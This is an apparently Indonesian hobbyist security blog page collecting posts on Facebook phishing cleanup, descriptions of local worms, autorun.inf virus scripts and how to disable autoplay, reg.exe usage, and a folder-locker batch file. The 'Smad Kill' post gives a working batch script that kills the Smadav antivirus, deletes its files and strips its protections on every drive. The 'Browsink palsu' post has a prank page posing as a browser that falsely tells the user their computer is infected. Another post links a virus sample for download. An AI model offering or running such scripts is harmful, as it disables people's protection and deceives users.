Tampilkan postingan dengan label ..System... Tampilkan semua postingan

Menghapus Virus Spam Phising Facebook

21.11
Source : _ BinusHacker.net

Berikut saya mau share cara menghapus Virus di Facebook, menghapus Malware Facebook, Menghapus Spam Facebook, Menghapus Scam Facebook, Menghapus Phising Facebook, Delete Spam Facebook, Delete Virus Facebook, Delete Phising Facebook, Delete Scam Facebook.
Sungguh sangat disayangkan sekali account anda bisa ke Hack cuman gara-gara anda menggunakan Aplikasi yang ada di Facebook & anda terjebak dalam jebakan maut yang dikirimkan oleh teman anda sendiri.
Wajib bagi anda untuk mencari Applikasi yang VERIFIED oleh Facebook atau Aplikasi Facebook yang memiliki REVIEW dan RATING yang baik dari Banyak User Facebook.
Contoh Virusnya:

Saya Akan Tunjukkan Bagaimana Virus / Scam / Phising / Fakelogin Ini Berjalan:
1. Pesan akan muncul dari teman / sahabat / keluarga anda dalam facebook chat yang di dalamnya mengandung URL ke website lain, misal sebagai contoh: http://www.website-phising-scam-ke fb.com.
Seperti salah satu contoh berikut (Nb: Masih ada banyak metode, trik & cara yang lain juga yang dipakai oleh sang cracker, jadi teliti, hati-hati & waspadalah!). Teman saya memberikan link URL: http://live-video-chat-room.321.cn/ dimana dia mengajak saya untuk join di chat, berikut contoh screencapture di FB chat bagaimana scam / phising / virus / malware / fakelogin dilakukan:
2. Kemudian apa yang saya temukan? Ternyata link page scam / phising / fakelogin facebook berada disana, berikut adalah tampilannya:
Contoh lain Fake Login Facebook yang halamannya sangat mirip sekali dengan Facebook, perhatikanURL Addressnya:
Pada ketiga halaman di atas yaitu URL: “http://live-video-chat-room.321.cn” , “http://pinrangoke.t35.com” , “http://kamu-mau-tahu-jodoh-anda.tk“, halaman tersebut terdapat pengisian Username Email & Passworduntuk connect ke Facebook. Apa yang akan terjadi bila anda memasukkan Username Email & Password?SAYA JAMIN, Facebook Anda Akan Kena Crack & Raib! Karena pada page tersebut terdapat FakeLoginyang dapat menyimpan Username & Password Anda. Jadi berhati-hatilah karena masih banyak metode, trick & cara lain yang lebih menarik + jitu yang bisa digunakan oleh cracker untuk menipu & mengelabui anda!!
Berikut saya akan berbagi bagaimana caranya menghapusnya:
1. Pada pojok kanan atas pilih: ACCOUNT -> PRIVACY SETTING
2. Kemudian cari: Apps and Websites -> Edit Your Settings for using apps, games and websites.
3. Kemudian Pusatkan Perhatian Anda ke: Apps You Use , disana ada pilihan Remove Unwanted or spammy apps & Turn off all platform apps. Hapuslah Applikasi yang menurut anda mencurigakan, atau bisa menggunakan Turn Off All Platform Apps.
4. Lakukanlah penghapusan satu persatu aplikasi silakan menggunakan “REMOVE” & jika ingin semua aplikasi di hapus secara bersamaan gunakanlah “TURN OFF“. Kebetulan saya menggunakan “TURN OFF“, jadi Saya Hapus Semua Aplikasi Facebook Yang Tidak Verified.
5. Anda bisa menambahkan kembali aplikasi yang anda inginkan disini: http://www.facebook.com/?sk=apps&ap=1 , saya sarankan carilah Aplikasi yang sudah di VERIFIED oleh Facebook atau hasil REVIEW &RATING yang baik dari User.
Dan akhirnya, anda bisa terbebas dari SPAM, PHISING, VIRUS di Facebook.
PESAN PENTING DARI SAYA:
  1. JANGAN PERNAH SAMAKAN ANTARA PASSWORD FACEBOOK & EMAIL, BUATLAH PASSWORD YANG BERBEDA! JIKA FACEBOOK ANDA KENA HACK, ANDA MASIH BISA MELAKUKAN RECOVERY DI EMAIL.
  2. JANGAN PERNAH MENAMBAHKAN APLIKASI YANG TIDAK VERIFIED, KARENA DISANALAH LADANG APLIKASI MENYEBARKAN VIRUS, SPAM & PHISING.
  3. BERHATI-HATILAH TERHADAP SEMUA PESAN DARI TEMAN FACEBOOK ANDA YANG MENGANDUNG LINK URL KE WEBSITE LAIN YANG TIDAK JELAS,  CURIGAI, WASPADA & LEBIH BAIK TIDAK USAH DI KLIK.
  4. JANGAN PERCAYA TERHADAP IMING-IMING VIDEO, MUSIC, SEX, AWARD, GIRL, STORY, CHAT, JODOH, PERTEMANAN, DSB YANG DIDALAMNYA TERDAPAT LINK YANG TIDAK JELAS, SEBAB BISA JADI ITU ADALAH JEBAKAN UNTUK VIRUS, FAKELOGIN, MALWARE, SPAM & PHISING!
  5. INFORMASIKAN KEPADA TEMAN ANDA YANG MASIH MENGGUNAKAN APLIKASI NON VERIFIED DARI FACEBOOK ATAU INFORMASIKANLAH CARA MENGHAPUS VIRUS INI KEPADA TEMAN ANDA YANG TERINFEKSI SUPAYA TIDAK MENYEBAR LEBIH BANYAK LAGI.
  6. RUBAHLAH PASSWORD ANDA SEKARANG JUGA, KARENA BISA JADI ACCOUNT ANDA SUDAH ADA DI HACKER LOG!
Artikel tambahan:
Facebook phishing scams have been increasing day by day. Are you one of the victims from the popular social websites? 
Facebook phishing scams spread like wild fire, constantly attempting to acquire user’s passwords andfacebook login identifications. Facebook phishing is one of the classic hacking that most attackers steal your passwords.
Another notorious method is by using keylogger, which I’m not going to elaborate more on this now. (Perhaps, for future post by popular demands or more comments.)
At times, I feel thankful for my shrewdness when it comes to internet security. I wouldn’t say I’m very good at it, however, I just can’t tolerate such a nuisance being played through lame tricks on innocent facebook users.
I was once a victim. So now… here comes the saint to describe:-
  • How Facebook phishing scams works. And
  • How the victim can solve this problem for further prevention.
Below using one of the recently Facebook phishing scams to explain the steps.
Facebook Private Message, PhishingFacebook Private Message, Phishing
  1. Chat box appears in your favorite Facebook login browser.
  2. Message are usually short, captivating, alluring and sensational, such as “hey lol check out this girl, she I cant believe this video….”. (Frankly speaking, this English message is so much worse than mine.)
  3. On the same message or another, it will show an unknown URL link, or it can be shortened by bit.ly. Within a few seconds, sender goes offline without saying ‘goodbye’ to you. No matter how obscure the link is… DON’T click on it. If you do, please read on…
  4. The unknown URL link will bring you to a new website. Sometimes, directing user with 2 or 3 times before arriving to attacker’s website. Below showing facebook login box almost the same as the OfficialFacebook login page.
  5. Do click on this link http://facebook.com/login.php to do a comparison from the faked Facebook loginpage
  6. Any new users or occasional internet surfer, would have already login to that unknown link without noticing any differences. If you examine closely, there is an additional  message, smaller in font size, captivating your attention that further entrap your innocent enthusiasm to find out more info.
  7. At this immediate point of login, victim’s password and username has already sent to the sly phisher by means of emailing or by any form of internet communication that document the critical detail.
  8. You wouldn’t know its happening. That’s the trick of Facebook phishing. So what’s next?
  9. Either by automated or manual, attacker uses your information to login, and apply the same tactics to pass the unknown link to another user from your friend’s list. At times, new link may be created, depending on attacker’s ultimate intention.
  10. As good friends in your list whom has chat and entrusted, there will login to repeat the process of Step 1 from this post. It continue to spread virally in this silent manner.
Faked Facebook Login, Phishing, Close-Up
Passing messages are done without your acknowledgement. Therefore, friends in your list are important to make you aware by informing you.
The solution: Most basic remedy is to change your password immediately.
That is the best and proven solution for any users to cripple the capability of Facebook phishing from login to your facebook without you knowing.
I hope I have clearly explained how Facebook phishing scams works, and the remedy are simple.
Have you encountered similar facebook phishing scams like the above?
What else has deteriorated into a more severe outcome? And how do you solved the problem?
THE ANSWER OF THIS PROBLEM IS IN ABOVE! :)
Artikel dari: http://cyperwin.com/facebook-phishing-scams-are-you-one-of-the-victims/
Update News, Berikut Adalah Penyebab Scam, Phising, Virus Bisa Menyebar Dari Facebook:
  1. Open JavaScript Hole: http://countermeasures.trendmicro.eu/facebook-open-javascript-hole/
  2. I-frame Include Inside Facebook

Thank you .. 

Source : _ BinusHacker.net
Read On 0 Respect

Keyboard Infrared with Bluetooth

21.34


Kerend nda ? ..

Sinar laser ini memproyeksi kn gambar keyboard dn dapat d lihat dalam gelap karna terang na ..
Keyboard ini bisa d pkai d iPhone, iPad, Smartphone, dn Laptop melalui bluetooth ..gan
Jadi ini menggunakand baterai 700mA built in, e-cash na pkai kabel USB .. dan sekali e-cash bisa unk ngetik 150 menit ..
kata na d SALE ..
http://www.thinkgeek.com/computing/keyboards-mice/e722/

ok" ;-) 
Read On 0 Respect

http://ats-antivirus-2011.ce.ms/fast-scan/

09.03
Asslm.wt.wbk

In the mornink .. ane jland" d google *googlink unk mencari tugas IPS tentank suku dayak !

dn tanpa disengaja ketika mencari gambar lewat google melalui beberapa gambar muncul alamat *http://ats-antivirus-2011.ce.ms/fast-scan/

entah ap itu .. namund seperti pengalihand agr kita mendownload suatu program trojan iank akn mengontrol komputer kita dari jarak jauh .. karna wktu selesai Men-Scan kita d sruh unk mendownload suatu anti virus . namund sayang na hnya berlaku pd windows XP dn sya memakai Windows 7 Dandys OpenSource .. haha



Lihat z ..Kawand

* Event pertama saat membuka web.

* Tampiland pertama saat membuka web.

* System coding HTML akn secara otomatis melakukand Scan

* Setelah finish scan kita akn dpat download link unk program Bachdoor/Trojan itu

* dn ternyata terdetect oleh Microsoft Essentials ..

* Seperti ini lh jika kita buka langsunk melalui address bar

ane jga kurank tau jenis ap .. jdi iank mmpunyai info tentank ini silahkand sharink d sni ..

Oke. "Gan"
Read On 2 Respect

SUITSING AntiVirus (OpenSource)

23.30
..Cape nulis lgie 
karna sebelum na ud pernh postink ini ..Kawand namund mlah terhapus karna kecerobhand sendiri ..haduh
:nangis


..Sebenar na ini adlah Free OpenSource AntiVirus ! 
ane dpat ini informasi kata na pemilik asli SourceCode adlah "Al-AntiVirus" iank di bajak oleh "ARTAV" sperti itu menurut iank ane bca ..gan
So .. ane ingin share z .. ini Codink ud ane gnti" dkit si
Munkind ad iank berminat unk mengembangkand na .. Silahkand Download z
Tolonk untuk Click iklan iank ad d bwah posting.an agr membantu .blog ini.TerimaKasih





Read On 0 Respect

Mengakses Registry dari DOS Prompt

18.06


DOS ... Sesuatu yang mungkin hampir kita tinggalkan, ternyata menyimpan kekuatan yang tidak bisa dianggap enteng. Salah satunya adalah dapat menangani registry system Windows, Tidak percaya ...? Buktikan saja...!!!
Regedit.exe adalah sebuah tool yang diciptakan untuk mengakses registry dengan berbasis windows. Reg.exe adalah sebuah tool yang diciptakan untuk mengakses registry dengan berbasis DOS (console)
Masuklah ke console DOS.
Ketik perintah reg.
Maka akan ditampilkan beberapa opsi Operation yang bisa Anda gunakan untuk
mengakses registry Windows, seperti: QUERY, ADD, DELETE, COPY, SAVE, LOAD, UNLOAD, RESTORE,COMPARE, EXPORT, IMPORT.
Ketik reg add /?
Maka akan ditampilkan paremeter-parameter yang dapat dimasukkan kedalam
perintah ADD.

 
Dengan pengantar singkat ini, Anda sudah bisa mengakses registry dalam DOS

Rootkey:
HKCR = HKEY_CLASSES_ROOT
HKCU = HKEY_CURRENT_USER
HKLM = HKEY_LOCAL_MACHINE
HKU = HKEY_USERS
HKCC = HKEY_CURRENT_CONFIG
Data Type:
REG_SZ = String Value
REG_MULTI_SZ = Multi-String Value
REG_DWORD = DWORD Value
REG_BINARY = Binary Value
REG_NONE = No Value
============
 
Example ..:

reg add “HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System” /v DisableRegistryTools /t reg_dword /d 1 /f
Perintah tersebut akan men-disable regedit yang berbasis Windows.
Sedangkan untuk meng-enable regedit adalah dengan perintah berikut ini:
reg add “HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System” /v DisableRegistryTools /t reg_dword /d 0 /f
atau
reg delete “HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System” /v
DisableRegistryTools
Demikian juga untuk perintah-perintah yang lain. Teknik ini sangat ampuh digunakan untuk menangani berbagai macam virus yang sempat membuat Anda kesal dengan polah tingkahnya. Blok sana, blok sini…. 
Be Carefull ....GAN !!!!!
Bisa z virus mengubah file reg.exe ini menjadi pemicu virus tersebut.
Lbih baik d simpan pada tempat iank 'Safety

TITIK-TITIK RAWAN WINDOWS DALAM REGISTRY

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\
DisableRegistryTools reg_dword
DisableTaskMgr reg_dword
Shell reg_sz
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\
Shell reg_sz
System reg_sz
Userinit reg_sz
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folder\
Common Startup reg_sz
HKLM\system\controlset001\safeboot\
alternateshell reg_sz
HKLM\system\controlset002\safeboot\
alternateshell reg_sz
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
apa_aja reg_sz
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
apa_aja reg_sz
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\
NoFolderOptions reg_dword
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\
NoFolderOptions reg_dword
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\
ForceGuest reg_dword
HKLM\System\CurrentControlSet\Services\LanmanServer\Parameters\
AutoShareWks reg_dword
AutoShareServer reg_dword
Etc..

Alternate jika regedit di blok oleh administrator atau virus

Sedikit penjelasan mengenai syntax REG
<'Syntax akn ad karna perintah iank kita tuliskn salah>

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]
REG DELETE KeyName [/v ValueName | /ve | /va] [/f]
REG IMPORT FileName
REG EXPORT KeyName FileName
KeyName = [\\Machine\]FullKey
Machine = Nama komputer yang di remote.
FullKey = ROOTKEY\SubKey
ROOTKEY = [ HKLM | HKCU | HKCR | HKU | HKCC ]
SubKey = Nama lengkap dari key registry yang berada di bawah ROOTKEY.
/v = Nama nilai yang berada dibawah key yang dipilih yang akan ditambahkan.
/ve = Memberikan nama kosong pada key
/t = Tipe data Key Registry, jika dikosongkan maka dianggan sebagai REG_SZ
[ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
REG_NONE | REG_EXPAND_SZ ]
/s = Karakter pemisah pada data string untuk tipe REG_MULTI_SZ, jika dikosongkan
maka dianggap menggunakan “\0”
/d = Data yang akan dimasukkan kedalam nilai
/f = Nilai registri akan ditimpa secara paksa, tanpa peringatan.
Filename = nama file yang digunakan untuk menyimapan atau memuat nilai-nilai Registry
Selanjutnya carilah tahu sendiri, baca petunjuk yang menggunakan bahasa England itu.
 
.Nah kira" gtu .deh
Pusink jga nI :: titrta suryana.blogspot.com
Read On 0 Respect

Amis Viru iank Menyamar sbgai file *MP3

13.06
Amis
 


Amis. Tipuan dengan teknik social engineering masih menjadi senjata ampuh malware agar pengguna menjalankannya, sebagaimana yang dilakukan oleh worm ini.  Dengan icon menyerupai aplikasi Winamp dan membuat file tampak memiliki ekstensi *.mp3, sekilas file worm tersebut merupakan file mp3 biasa yang siap untuk didengarkan.  Tetapi jika pengguna cukup waspada, file worm ini mudah dikenali dari type, size, maupun tampilan property yang tampak saat cursor mouse diarahkan pada file tersebut (seperti pada gambar).Worm ini dibuat dengan menggunakan bahasa pemrograman Visual Basic, berukuran sekitar 22 KB dalam keadaan di-pack.  Saat aktif, ia akan menutup aplikasi-aplikasi yang memiliki caption antara lain:
- pcmav
- process
- master
- utility
- hijack
- patrol
- firewall
- detect

.Nah sperti biasa na unk memprotect diri na !. PASTI .!  worm juga men-disable Command Prompt, Regedit, Folder Options, dan menyembunyikan ekstensi file. 
Worm juga memanipulasi registry agar saat pengguna mengakses msconfig.exe, yang keluar justru aplikasi notepad.exe.
.hehe

Worm akan meniru nama file setiap file *.mp3 yang ditemukan, dan membuat duplikasi worm seolah-olah file mp3 untuk menjebak pengguna. Untungnya, mp3 asli tidak dihapus oleh worm ini.  Worm juga menciptakan file VBScript dengan nama menol.vbs yang terpasang pada Start – All programs – Startup yang berfungsi untuk mengaktifkan file-file induk worm.
Pada root drive harddisk maupun pada removable disk, ia akan menciptakan file duplikat dengan nama AMIS.exe.

PCMAV 3.1 Update Build2


.NAh ... klau kamu ingind mendaptkn Update scra manual nI :: dari Forum Asli na ::

SendSpace.com
ZippyShare.com  (mirror)
Rapidshare.com  (mirror)

Letakkan file hasil download tersebut (update.vdb) ke dalam folder \vdb. Jika sebelumnya telah terdapat file update yang lama, Anda cukup menimpanya. Pastikan sekali lagi, bahwa nama file update adalah update.vdb, jika berbeda, cukup ubah namanya. Dan nanti saat Anda kembali menjalankan PCMAV, ia sudah dalam keadaan kondisi ter-update.

LALALALALA ...

NANA
Text Turun
NA
NANANA
...
Read On 0 Respect

Virus Gadis_Ancol.exe

01.38
* File: gadis_ancol.exe*
 
* smu_orgasme*
* OriginalFilename smu_orgasme.exe*

* ProductVersion
   Pemograman Visual Basic 6.0 *

Icon dari Virus :


  Biasa na ad gejala" :

1.Pada waktu pertama kali virus ini dijalankan,maka di task manager langsung akan muncul processesnya yaitu gadis_ancol.exe,tetapi setelah computer restart processes ini akan berubah menjadi ABG.exe.Pastilah dengan cara ini si korban akan tertipu sedikit dengan ulah virus.


 

2.Setiap kali computer startup,maka virus ini langsung aktif.Karena virus ini akan membuat file/registrynya di startup.

Bahkan ada tiga registry yang akan di buat oleh virus,yaitu :

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\f3ndhi
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page


3.Ada beberapa file yang akan dibuat oleh virus disetiap drive dan sepertinya virus induk adalah ABG.exe.

C:\WINDOWS\system32\ABG.exe
C:\WINDOWS\system32\mahasiswi_virgin.exe
C:\WINDOWS\system32\Gadis_cina_di_perkosa_dalam_toko.exe
C:\WINDOWS\system32\Smu_bandung_full.exe
C:\WINDOWS\system32\MAkkasar_darah_perawan.exe
C:\WINDOWS\Fonts\fonts\smu_negeri_1_hot.exe
C:\WINDOWS\Fonts\fonts\anak_smk_utama.exe
C:\WINDOWS\Fonts\fonts\perkosa_rame2.exe
C:\WINDOWS\system\rena_virgin.exe
C:\WINDOWS\system\rena_orgasme.exe
C:\WINDOWS\system\rena_orgasme_1.exe
C:\WINDOWS\anak_lampung.exe
C:\WINDOWS\perkosa_abg.exe
C:\WINDOWS\darmajaya_hot.exe
C:\WINDOWS\dosen_&_mahasiswi.exe
C:\WINDOWS\mahasiswi_ubl_virgin.exe
Seperti gambar dibawah ini :





 

=>
Avast Anti Virus

 


=> 
Smadav Detect :


Sample Virus ..GAN :: Download Disini. ::
Read On 0 Respect

Virus AutoRun

16.26
Script Autorun.inf/Desktop.ini/folder.httt
Kemudahan berbanding terbalik dengan keamanan, itulah salah satu hukum yang berlaku di dunia IT. Sadar atau tidak kemudahan yang diusung itu sendiri telah memberikan peluang program jahat untuk menyusup kedalam system komputer. Salah satu kemudahan tersebut adalah script Autorun yang digunakan untuk menjalankan suatu file secara otomatis saat user akses ke suatu Drive atau saat user menghubungkan removable disk atau saat user memasukan CD / DVD ke dalam CD / DVD ROM. Dan para programmer lokal menjadikan celah ini sebagai peluang agar virus mereka dapat menyebar lebih cepat dibandingkan sebelumnya dan sampai saat ini celah tersebut masih digunakan oleh virus agar dapat menyebarkan dirinya secara otomatis tanpa harus menungggu agar user menjalankan file virus tersebut secara manual. Cukup dengan mengakses ke Flash Disk tersebut atau mencolokkan UFD tersebut ke komputer, maka virus akan langsung menginfeksi.
Agar virus ini dapat aktif setiap saat biasanya sang pembuat virus akan membuat script disetiap Drive termasuk di media Disket/Flash Disk. Autorun.inf/desktop.ini atau Folder.htt adalah beberapa script MKDU yang biasanya akan dibuat oleh virus.
Script ini sendiri sebenarnya berisi sederetan perintah yang intinya adalah untuk menjalankan file virus itu sendiri dan biasanya file induk ini akan ditempatkan di folder/direktori yang sama, agar file tersebut tidak dicurigai oleh user maka script dan file induk tersebut akan di sembunyikan. W32/Askis, W32/VBWorm.ZL, VBWorm.MOS, W32/Aksika, W32/FaceCool atau W32/Solow adalah sederetan virus lokal yang akan  mengunakan metode ini maka jangan heran jika mereka sukses menyebar dijagat maya tanpa mengandalkan email.

Berikut beberapa contoh script yang akan dibuat oleh virus lokal (lihat gambar 1) :

  • File Autorun.inf

[Autorun]
Shelexecute=%nama file induk virus yang akan dijalankan%

Atau

[AutoRun]
open=%file virus%
 shellexecute=%file virus%
shell\Auto\command=%file virus%
shell=Auto

           
            Gambar 1, Script Autorun.inf untuk menjalankan file Folder.exe

  • Desktop.ini
Biasanya file Desktop.ini akan berpasangan dengan file .HTT [contohnya folder.htt] dibuat dengan tujuan untuk menjalankan script lain kemudian file script yang dijalankan tersebut mempunyai script lain untuk menjalankan file virus. Berikut contoh script yang akan dibuat oleh virus.

[.ShellClassInfo]
ConfirmFileOp=0
[{5984FFE0-28D4-11CF-AE66-08002B2E1262}]
PersistMoniker=%lokasi file Folder.htt yang dibuat virus% [ExtShellFolderViews]
{5984FFE0-28D4-11CF-AE66-08002B2E1262}={5984FFE0-28D4-11CF-AE66-08002B2E1262}

Gambar 2, Script file Desktop.ini untuk menjalankan file folder.htt [file folder.htt ini sendiri akan berisi script untuk menjalankan file virus seperti terlihat pada gambar dibawah ini.]
  
  • Folder.htt

classid= "clsid:1820FED0-473E-11D0-A96C-00C04FD705A2"

style="width: 100; height: 100" tabIndex=-1>


Gambar 3, Script Folder.htt akan menjalankan file New Folder.exe

Bagaimana Cara Menghadapinya ?
Salah satu cara yang efektif untuk mencegah penyebaran virus lokal yang menggunakan metode ini adalah dengan men-disable fungsi Autorun/Autoplay pada Drive/Removable tersebut.

Untuk Disable Autorun/Autoplay dapat menggunakan beberapa cara diantaranya : (jalankan hanya salah satu)

  1. Disable Autorun/Autoplay melalui registry, caranya:

§  Buka Registry Editor

Klik menu [Start | Run | pada dialog box RUN ketik regedit]

§  Browse ke alamat registry berikut

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

§  Kemudian klik kanan pada string NoDriveTypeAutoRun

Gambar 4, Alamat registry yang harus diubah agar autorun tidak aktif

§  Isi value data dengan ff yang berarti fungsi Aturun/Autoply akan di matikan pada 255 drive

Gambar 5, Merubah value NoDriveTypeAutorun

§  Klik Tombol [OK]
§  Keluar dari “Registry Editor”
§  Restart komputer agar perubahan ini berjalan

  1. Disable Autorun/Autoplay melalui Group Policy [GPEDIT.MCS], caranya:

§  Klik menu [Start]
§  Klik [Run]
§  Ketik GPEDIT.MSC pada kolom “RUN”
§  Setelah muncul layar “Group Policy” klik folder “System” pada menu “User Configuration” dan “Computer Configuration”
§  Pada kolom Settings, klik dua kali “Turn off Autoplay”

Gambar 6, Interface Group Policy “User Configuration”

Gambar 7, Interface Group Policy “Computer Configuration”

§  Setelah muncul layar “Turn off Autoplay” properties, klik tabulasi [Settings] dan pilih opsi “Enable” pada menu “Turn off Autoplay” kemudian Pilih “All Drive” pada kolom “Turn off Autoplay on”

Gambar 8, Mematikan Autoplay dengan menggunaakn Group Policy

o    Kemudian klik tombol “OK”

Gambar 9, Disable Autoplay

o    Klik “Close” untuk keluar dari layar “Group Policy”
o    Restart komputer

  1. Tweak UI Powertoys Setup
Selain menggunakan kedua cara di atas, untuk mematikan fungsi autorun/autoplay tersebut anda juga dapat menggunakan software “Disable Sutorun” yang banyak beredar di internet, salah satu software yang dapat digunakan adalah Powertoys for Windows XP [tool gratis ini hanya untuk Windows XP] yang dikeluarkan oleh Microsoft. http://www.microsoft.com/windowsxp/downloads/powertoys/xppowertoys.mspx download dan instal file “TweakUI Powertoys Setup”

·         Setelah program tersebut diinstall, maka akan muncul layar berikut jika tools tersebut dijalankan.

Gambar 10, Interface Powertoys Windows XP [mematikan autoplay pada drive]

·         Klik menu “MyComputer” | Autoplay | Drivers”, pada kolom “Enable Autoplay on Drives” uncheck pada Drive yang di inginkan agar fungsi Autopplay tersebut dimatikan.

·         Lakukan juga perubahan ini pada menu “type” pada kolom “Autoplay Drive types”, pastikan anda sudah uncheck  semua opsi yang ada [Enable Autoplay for CD and DVD drives dan Enable Autoplay for removable drives.
Gambar 11, Interface Power\toys Windows XP [mematikan autoplay pada CD/DVD dan removable drive ternasuk Flash Disk atau stick memori]

.NAH  :: GAN :: 'tu iank bsa ane Share dsni ... biar TEMAND" bsa t'hindar dri Virus autorun iank aktif ... :: jant' lpa unk Selalu memakai AntiVirus iank Up To Date ..! karna bkand setiap hari lgii para pembuat virus merilis Virus buatan mereka ! Sdah hitungand jam. unk timbul na Variand Virus iank baru GAN ...



Thank's To ::


vaksin.com


Read On 0 Respect

!. Smad Kill .!

04.09
Ini :: GAN :: Script na ilank.ind autorun Smadav ::


@echo off
COLOR 0A
Title smartp-0
Mode con lines=1


If "%1"=="" (
start "cmd.exe /c /k /u" smad-kill.bat 1
Exit
) Else (
goto :Step_%1
)


:Step_1
Mode con lines=1
For /f "tokens=2" %%a in ('tasklist ^| findstr /I /r "sm.rtp"') do Taskkill /f /pid %%a
start "cmd.exe /c /k /u" smad-kill.bat 2
Exit


:Step_2
Mode con lines=1
del /f /q "%SystemRoot%\Sm?RTP.exe"
rd /s /q "%ProgramFiles%\SMADAV"
start "cmd.exe /c /k /u" smad-kill.bat 3
Exit


:Step_3
Mode con lines=1
For %%p in (C D E F G H I J K L M N O) do if exist %%p:\ (
rd \\?\%%p:\autorun.inf /s /q > nul
Cd /d %%p:\
For /d %%q in (*Smad-Lock*) do RD "\\?\%%p:\%%q" /s /q
)
GoTo :Step_4
Color 0A
cls
echo ##### Operations Complete ! #####
echo - SMADAV Process has been killed
echo - SMADAV has been deleted
echo - Autorun.inf has been deleted
echo.
Pause > nul
Exit 






..Semoga.. Ap ia ???



 





.hhe
Read On 0 Respect

Browsink palsu

02.33
Hellololowwwauwauwau ......
iank serink Maind k warnet :: cbaind .dah GAN ...
.hhe
lmyan ,, isenk"

1.Mtiind DF. klau ad ...
2. Masuk ke notepad....
3. Copas source code ini...


<html>
<head>
</head>
<title>
Koronsioh
</title>
<body background="http://tbn0.google.com/images?q=tbn:UhZDDeUoABr1KM:http://orangemood.files.wordpress.com/2007/04/love.jpg">
<font face="Comic Sans MS" color="white" size="5">
<marquee behavior="Alternate" scrolldelay="90">
Dengand ini saya menyatakn anda tlah t'kna Virus ..
<br>
</marquee>
<br><br><br><br><br><br><br><br><br>
<center>
Apa Kabar ...?
</center>
</font>
<center>
<font face="Comic Sans MS" color="white" size="50">
Created Virus :: Dands
</center>
</font>
</body>
</html>





Source na bsa LU gnti" Kuk'
Sya 'ru nyoba d IE sma firefox ! Safari munkind jga bsa ... klau opera tau .deh



.NAH klau ud ..
LU Save d desktop dngand nma browser na ..!

Example ::
Internet Explorer.....
Nanti LU save pkai nama internet Explorer jga GAN .... Namund . format na hrus .HTML ia ! bukan .TXT
Trus ..tr LU del. 'tu icon IE asli na iank d desktop nd recycle bin !
Trus ganti sama Internet Explorer &gt;&gt; Pnya LU ...
klau bisa jant' smpai kliatan formatnya.... ( .HTML iank td )
Kalo browsernya ada 2 FF n IE LU bwt dengand cara iank sama..... GAN

Gini ::
Open file na ::
Open properties ,trus LU cntank .deh 'tu hidden na ! ( "klau nda slah" )



.HAHAHAi .,. sLesai .deh


Read On 0 Respect

Mengunci Folder Dengand "cmd"

01.43
::NAH :: GAN ... kali ini sya akn ngasih Postink.an iank b'guna .,, ia ,, dikit LA ...
Pasti kbnyakn org. Menghide folder na pkai App.
kli ini sya baik hati :: nI GAN cbaind z ...

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDLOCKER
md Locker
echo Locker created successfully
goto End
:End
  • Pada tulisan "Are you sure u want to Lock the folder" anda bisa mengganti dengan kalimat lain yang intinya menanyakan suatu peringatan untuk mengunci ya atau tidak. Juga pada tulisan "type your password here", masukkanlah dengan password sesuka anda, password inilah nantinya untuk membuka kembali folder yang terkunci/tersembunyi.
  • Setelah anda mengcopy kode script di atas, kemudian save dengan nama file FolderLock.Bat atau bisa juga nama lain asalkan ekstensinya .Bat bukan .txt
  • Simpanlah di mana saja anda suka, kemudian buka kembali filenya (dobel klik) dan dengan sendirinya akan muncul sebuah folder bernama Locker.
  • Pindahkanlah file atau data yang ingin dikunci atau disembunyikan ke dalam folder Locker tadi.
  • Setelah anda memasukkan file atau data yang ingin disembunyikan, silahkan untuk dobel klik fileFolderLock.Bat maka akan muncul kotak dialog seperti di bawah ini :
  • [sembunyi+folder+dengan+notepad.jpg]

  • Ketik Y lalu enter, maka dengan otomatis folder Locker tadi akan hilang. Biasanya juga akan berubah menjadi icon control panel. Ketik N jika ingin membatalkan.
  • Untuk mengembalikannya lagi, buka kembali file FolderLock.Bat tadi kemudian masukkan password anda, lalu enter. (file batch FolderLock.Bat dan folder Locker harus satu directory).

Poor
Read On 0 Respect

HTML Counter


free counters

Followers

Google-Translate-Chinese (Simplified) BETA Google-Translate-English to French Google-Translate-English to German Google-Translate-English to Italian Google-Translate-English to Japanese BETA Google-Translate-English to Korean BETA Google-Translate-English to Russian BETA Google-Translate-English to Spanish